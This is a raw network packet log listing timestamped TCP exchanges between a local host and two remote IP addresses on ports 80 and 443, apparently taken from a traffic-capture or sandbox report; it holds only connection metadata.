Dec 7, 2024 18:26:17.522815943 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.523207903 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.523264885 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.523336887 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.523376942 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.524138927 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.524194956 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.524236917 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.524280071 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.525077105 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.525134087 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.525178909 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.525217056 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.526020050 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.526077032 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.526132107 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.526174068 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.526962042 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.527026892 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.527080059 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.527134895 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.527924061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.527982950 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.528028965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.528069973 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.528913021 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.528981924 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.529323101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.529378891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.529747963 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.529799938 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.529855967 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.529902935 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.543243885 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.543284893 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.543350935 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.543380976 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.543392897 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.543416023 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.558902979 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.558959961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.559000969 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.559041023 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.559168100 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.559214115 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.559283972 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.559323072 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.560120106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.560175896 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.560199976 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.560233116 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.561042070 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.561151981 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.561160088 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.561188936 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.561959982 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.562016964 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.562067032 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.562103987 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.562900066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.562957048 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.562997103 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.563039064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.563865900 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.563921928 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.563956022 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.563998938 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.564804077 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.564866066 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.564949989 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.565005064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.565728903 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.565781116 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.565855026 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.565893888 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.566708088 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.566776037 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.566867113 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.566916943 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.567611933 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.567677021 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.567744017 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.567792892 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.568777084 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.568789959 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.568830013 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.568845034 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.569502115 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.569566011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.569638014 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.569677114 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.570416927 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.570482016 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.570497036 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.570538998 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.625673056 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.625778913 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.625808954 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.625858068 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.626092911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.626132965 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.626249075 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.626287937 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.627041101 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.627106905 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.627240896 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.627285004 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.628002882 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.628062963 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.628093004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.628137112 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.628906012 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.628950119 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.629045963 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.629085064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.629873991 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.629920006 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.630013943 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.630054951 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.630811930 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.630867958 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.630912066 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.630953074 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.670746088 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.670773983 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.670909882 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.670939922 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.670993090 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.692006111 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.692140102 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.692276955 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.692326069 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.692919016 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.692984104 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.693058968 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.693072081 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.693113089 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.693517923 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.693569899 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.693690062 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.693737984 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.694329977 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.694375992 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.694437981 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.694473028 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.695280075 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.695344925 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.695385933 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.695430994 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.696209908 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.696259975 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.696327925 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.696369886 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.697196007 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.697242022 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.697397947 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.697447062 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.698108912 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.698163986 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.698260069 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.698308945 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.699043989 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.699095011 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.699165106 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.699206114 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.699948072 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.699991941 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.700083971 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.700131893 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.700913906 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.700978994 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.701045990 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.701088905 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.701834917 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.701893091 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.701992989 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.702037096 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.703099012 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.703147888 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.703306913 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.703352928 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.703704119 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.703762054 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.703818083 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.703867912 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.704638958 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.704699993 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.704791069 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.704838037 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.705595970 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.705642939 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.705708027 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.705750942 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.706536055 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.706598043 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.706654072 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.706696987 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.707489967 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.707520008 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.707578897 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.707601070 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.707634926 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.708002090 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.708014965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.708054066 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.708066940 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.708575964 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.708621979 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.708823919 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.708870888 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.709333897 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.709387064 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.709439039 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.709479094 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.710295916 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.710349083 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.710427046 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.710474014 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.711250067 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.711294889 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.711379051 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.711426973 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.712168932 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.712230921 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.712301970 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.712347031 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.713232040 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.713296890 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.713648081 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.713706970 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.714031935 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.714081049 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.714162111 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.714209080 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.714977026 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.715038061 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.715102911 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.715145111 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.715893984 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.715949059 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.716125011 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.716169119 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.716861010 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.716902971 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.717016935 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.717058897 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.717798948 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.717850924 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.717927933 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.717969894 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.719249010 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.719261885 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.719302893 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.719657898 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.719716072 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.719882965 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.719930887 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.720591068 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.720660925 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.720732927 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.720782995 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.721681118 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.721740961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.722095966 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.722153902 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.730559111 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.730585098 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.730669022 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.730699062 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.730741978 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.748613119 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.748636961 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.748713017 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.748744011 CET	443	49700	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:17.748786926 CET	49700	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:17.751065016 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.751137972 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.751169920 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.751224041 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.751559973 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.751605034 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.751899004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.751943111 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.752363920 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.752413034 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.752819061 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.752861977 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.753220081 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.753263950 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.753386974 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.753427982 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.754126072 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.754165888 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.754287004 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.754333019 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.755223989 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.755269051 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.755633116 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.755677938 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.755970955 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.756011009 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.756103039 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.756160975 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.756917000 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.756966114 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.757050991 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.757098913 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.757855892 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.757900953 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.758024931 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.758066893 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.758810043 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.758867979 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.758904934 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.758949041 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.759727955 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.759785891 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.759862900 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.759908915 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.760665894 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.760715008 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.760842085 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.760889053 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.761600971 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.761657953 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.761743069 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.761791945 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.762545109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.762604952 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.762634039 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.762676001 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.818536043 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.818569899 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.818650961 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.818651915 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.818725109 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.818778038 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.818871975 CET	80	49699	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:17.818924904 CET	49699	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:17.819668055 CET	80	49699	185.215.113.206	192.168.2.7
